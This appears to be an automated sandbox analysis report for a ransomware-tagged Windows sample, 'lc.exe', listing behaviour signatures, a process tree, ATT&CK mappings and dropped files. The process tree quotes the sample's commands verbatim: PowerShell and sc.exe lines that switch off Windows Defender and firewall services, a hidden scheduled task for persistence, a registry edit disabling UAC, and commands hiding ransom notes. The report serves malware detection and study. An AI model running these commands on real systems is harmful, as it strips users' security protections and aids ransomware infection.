Overview

overview

10

Static

static

10

lc.exe

windows10-2004-x64

10

lc.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/11/2026, 19:55

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    lc.exe
  • Size 16.2MB
  • Sample261107-ynfk8a1vfz
  • SHA256 295cb46b9b437dd8ecc5820204d277ce68bcd453966134f988eeb648960839fc
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasiondiscoveryevasionexecutionpersistenceransomwarespywaretrojan

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • UAC bypass 3 TTPs 4 IoCs
    defense_evasiontrojan
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 2 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Disables cmd.exe use via registry modification 2 IoCs
    defense_evasion
  • Drops file in Drivers directory 9 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 34 IoCs
    persistence
  • Executes dropped EXE 3 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    defense_evasiontrojan
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

    defense_evasion
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 4 IoCs
    execution
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 15 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 8 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Control Panel 2 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 16 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 37 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • System policy modification 1 TTPs 22 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\lc.exe
    "C:\Users\Admin\AppData\Local\Temp\lc.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of WriteProcessMemory
    PID:4740
    • C:\Windows\system32\drivers\etc\svchost32.exe
      "C:\Windows\system32\drivers\etc\svchost32.exe"
      2⤵
      • Modifies WinLogon for persistence
      • Modifies Windows Defender DisableAntiSpyware settings
      • Modifies Windows Defender Real-time Protection settings
      • UAC bypass
      • Disables RegEdit via registry modification
      • Disables cmd.exe use via registry modification
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Checks whether UAC is enabled
      • Sets desktop wallpaper using registry
      • Reads the TCP/IP host and domain name from the registry
      • Modifies Control Panel
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:5572
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f
        3⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:3800
        • C:\Windows\system32\schtasks.exe
          schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f
          4⤵
            PID:5292
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "C:\Windows\system32\drivers\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4360
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "C:\Windows\system32\drivers\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1880
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5236
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4556
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4672
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableIOAVProtection $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:828
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisablePrivacyMode $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2516
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -SignatureDisableUpdate $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1468
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WinDefend
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5456
          • C:\Windows\system32\sc.exe
            sc stop WinDefend
            4⤵
            • Launches sc.exe
            PID:2100
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4592
          • C:\Windows\system32\sc.exe
            sc config WinDefend start=disabled
            4⤵
            • Launches sc.exe
            PID:2524
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop SecurityHealthService
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3372
          • C:\Windows\system32\sc.exe
            sc stop SecurityHealthService
            4⤵
            • Launches sc.exe
            PID:5980
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config SecurityHealthService start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4364
          • C:\Windows\system32\sc.exe
            sc config SecurityHealthService start=disabled
            4⤵
            • Launches sc.exe
            PID:3012
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdFilter
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4596
          • C:\Windows\system32\sc.exe
            sc stop WdFilter
            4⤵
            • Launches sc.exe
            PID:2316
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdFilter start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1788
          • C:\Windows\system32\sc.exe
            sc config WdFilter start=disabled
            4⤵
            • Launches sc.exe
            PID:1124
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdNisDrv
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1840
          • C:\Windows\system32\sc.exe
            sc stop WdNisDrv
            4⤵
            • Launches sc.exe
            PID:2404
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdNisDrv start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5204
          • C:\Windows\system32\sc.exe
            sc config WdNisDrv start=disabled
            4⤵
            • Launches sc.exe
            PID:5144
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdNisSvc
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4840
          • C:\Windows\system32\sc.exe
            sc stop WdNisSvc
            4⤵
            • Launches sc.exe
            PID:6012
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdNisSvc start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2584
          • C:\Windows\system32\sc.exe
            sc config WdNisSvc start=disabled
            4⤵
            • Launches sc.exe
            PID:1400
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdBoot
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2560
          • C:\Windows\system32\sc.exe
            sc stop WdBoot
            4⤵
            • Launches sc.exe
            PID:4788
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdBoot start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2848
          • C:\Windows\system32\sc.exe
            sc config WdBoot start=disabled
            4⤵
            • Launches sc.exe
            PID:3096
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop MpsSvc
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1832
          • C:\Windows\system32\sc.exe
            sc stop MpsSvc
            4⤵
            • Launches sc.exe
            PID:4964
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config MpsSvc start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5744
          • C:\Windows\system32\sc.exe
            sc config MpsSvc start=disabled
            4⤵
            • Launches sc.exe
            PID:932
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill.exe /im Explorer.exe /f
          3⤵
          • Kills process with taskkill
          PID:2736
        • C:\Windows\SYSTEM32\wscript.exe
          wscript.exe "C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs" "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
          3⤵
          • Executes a VBScript file via the Windows Script Host.
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:6128
          • C:\Windows\system32\mspaint.exe
            "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\catcrypt_block.png"
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:1040
        • C:\Windows\SYSTEM32\wscript.exe
          wscript.exe "C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs" cmd.exe /c attrib +h +s +r "%userprofile%\Desktop\!!!READ_ME!!!.txt" & attrib +h +s +r "%userprofile%\Documents\!!!READ_ME!!!.txt"
          3⤵
          • Executes a VBScript file via the Windows Script Host.
          • Hide Artifacts: Hidden Files and Directories
          PID:4356
    • C:\Windows\SYSTEM32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs" C:\Windows\system32\cmd.exe /c C:\Windows\System32\ntorkrnl0.bat
      1⤵
      • Executes a VBScript file via the Windows Script Host.
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3200
      • C:\Windows\system32\mspaint.exe
        "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\catcrypt_block.png"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:5620
    • C:\Windows\SYSTEM32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs" C:\Windows\system32\cmd.exe /c C:\Windows\System32\ntorkrnl1.bat
      1⤵
      • Executes a VBScript file via the Windows Script Host.
      PID:3948
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
      1⤵
      • Checks SCSI registry key(s)
      PID:4900
    • C:\Windows\system32\userinit.exe
      C:\Windows\system32\userinit.exe
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:5680
      • C:\Windows\Explorer.EXE
        C:\Windows\Explorer.EXE
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:1424
      • C:\Windows\system32\drivers\etc\svchost32.exe
        "C:\Windows\system32\drivers\etc\svchost32.exe"
        2⤵
        • Executes dropped EXE
        PID:616
    • C:\Windows\system32\drivers\etc\svchost32.exe
      "C:\Windows\system32\drivers\etc\svchost32.exe"
      1⤵
      • Executes dropped EXE
      PID:4792
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x00000000000004FC 0x0000000000000504
      1⤵
        PID:5528

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            3
            T1059

            PowerShell

            1
            T1059.001

            Visual Basic

            1
            T1059.005

            Windows Command Shell

            1
            T1059.003

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            System Services

            1
            T1569

            Service Execution

            1
            T1569.002

            Persistence

            Boot or Logon Autostart Execution

            2
            T1547

            Active Setup

            1
            T1547.014

            Winlogon Helper DLL

            1
            T1547.004

            Create or Modify System Process

            3
            T1543

            Windows Service

            3
            T1543.003

            Event Triggered Execution

            1
            T1546

            Image File Execution Options Injection

            1
            T1546.012

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Privilege Escalation

            Abuse Elevation Control Mechanism

            1
            T1548

            Bypass User Account Control

            1
            T1548.002

            Boot or Logon Autostart Execution

            2
            T1547

            Active Setup

            1
            T1547.014

            Winlogon Helper DLL

            1
            T1547.004

            Create or Modify System Process

            3
            T1543

            Windows Service

            3
            T1543.003

            Event Triggered Execution

            1
            T1546

            Image File Execution Options Injection

            1
            T1546.012

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Defense Evasion

            Abuse Elevation Control Mechanism

            1
            T1548

            Bypass User Account Control

            1
            T1548.002

            Hide Artifacts

            1
            T1564

            Hidden Files and Directories

            1
            T1564.001

            Impair Defenses

            4
            T1562

            Disable or Modify Tools

            3
            T1562.001

            Indicator Removal

            1
            T1070

            Clear Persistence

            1
            T1070.009

            Modify Registry

            8
            T1112

            Credential Access

            Discovery

            Peripheral Device Discovery

            2
            T1120

            Query Registry

            3
            T1012

            System Information Discovery

            4
            T1082

            System Network Configuration Discovery

            1
            T1016

            Lateral Movement

            Collection

            Command and Control

            Exfiltration

            Impact

            Defacement

            1
            T1491

            Service Stop

            1
            T1489

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_yvcopkml.lvz.psm1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yvcopkml.lvz.psm1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            catcrypt_block.png
            • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_block.png
            • Size 52KB
            • SHA256 d50f96790201d3293f1627f56e04069b2834e5d543b3bf9f90a49df530574a46
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            catcrypt_last_show.txt
            • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_last_show.txt
            • Size 22B
            • SHA256 7ee3c225e050285b596740b961b18a0fa498ee4922d974a2f3d8deba7b58cfa0
            • MD5 SHA1 SHA512
            Submit Download

            catcrypt_last_show.txt
            • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_last_show.txt
            • Size 22B
            • SHA256 e60c0a7dec5bb6e0280c6930d3185fe5a1885ffbe633dd4707d3795245f43d3c
            • MD5 SHA1 SHA512
            Submit Download

            catcrypt_show.vbs
            • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs
            • Size 940B
            • SHA256 d90ae5c72d612cf50824af73481a2f02330a44ae1e949ad7630040ad2317d0bd
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            DisconnectGrant.png.pdr
            • Path C:\Users\Admin\Downloads\DisconnectGrant.png.pdr
            • Size 970KB
            • SHA256 2cebdeeaf69bf648e76b57e4a038cd30624307d04e317c334d0f8854e81f7916
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            PingGrant.png.pdr.tmp
            • Path C:\Users\Admin\Downloads\PingGrant.png.pdr.tmp
            • Size 951KB
            • SHA256 75393fa2352f3e833ecd4dcffad193a7f2e14c866eba5a16a63e13eac142a409
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            PushAdd.dll.pdr
            • Path C:\Users\Admin\Downloads\PushAdd.dll.pdr
            • Size 836KB
            • SHA256 eaf7b2c8526a5da78def8933c1829f8fb5a36c5286e150647ff83a61eb30bae1
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            wiatrace.log
            • Path C:\Windows\Debug\WIA\wiatrace.log
            • Size 3KB
            • SHA256 3236a0ae03fa14e005b73fbc0b27e0b17a49939f5a152a7963e50a14901ea3ba
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            svchost32.exe
            • Path C:\Windows\System32\drivers\etc\svchost32.exe
            • Size 16.2MB
            • SHA256 295cb46b9b437dd8ecc5820204d277ce68bcd453966134f988eeb648960839fc
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            $boot_marker.tmp
            • Path C:\Windows\system32\drivers\etc\$boot_marker.tmp
            • Size 9B
            • SHA256 0e44f39671f7c575ce9e0c1d675081dd2c6d9285a3801299969c639b50a49a2e
            • MD5 SHA1 SHA512
            Submit Download

            $unlocker_id.ux-cryptobytes
            • Path C:\Windows\system32\drivers\etc\$unlocker_id.ux-cryptobytes
            • Size 6B
            • SHA256 40ed7f38154f7d6ce110798ccdcf1bca987593359b37365a1d4a48432607aa4e
            • MD5 SHA1 SHA512
            Submit Download

            memory/828-53-0x0000023A3A800000-0x0000023A3B1A4000-memory.dmp
            Download

            memory/1468-67-0x000001BEF5970000-0x000001BEF6314000-memory.dmp
            Download

            memory/2516-60-0x00000202FAF90000-0x00000202FB934000-memory.dmp
            Download

            memory/4556-39-0x00000207BFF70000-0x00000207C0914000-memory.dmp
            Download

            memory/4672-46-0x000001809D330000-0x000001809DCD4000-memory.dmp
            Download

            memory/4740-0-0x00007FFA6974F000-0x00007FFA69750000-memory.dmp
            Download

            memory/4740-1-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
            Download

            memory/4740-3-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
            Download

            memory/4740-2-0x0000000000C30000-0x0000000001C60000-memory.dmp
            Download

            memory/4740-4-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
            Download

            memory/4740-5-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
            Download

            memory/4740-10-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
            Download

            memory/4740-11-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
            Download

            memory/4740-13-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
            Download

            memory/5236-28-0x0000018E585A0000-0x0000018E585BE000-memory.dmp
            Download

            memory/5236-32-0x0000018E3F960000-0x0000018E40304000-memory.dmp
            Download

            memory/5236-30-0x0000018E58680000-0x0000018E5868A000-memory.dmp
            Download

            memory/5236-29-0x0000018E585C0000-0x0000018E58672000-memory.dmp
            Download

            memory/5236-25-0x0000018E58520000-0x0000018E58542000-memory.dmp
            Download

            memory/5572-15-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
            Download

            memory/5572-14-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
            Download

            memory/5572-18-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
            Download

            memory/5572-19-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
            Download

            memory/5572-72-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
            Download

            memory/5572-20-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
            Download

            memory/5572-16-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
            Download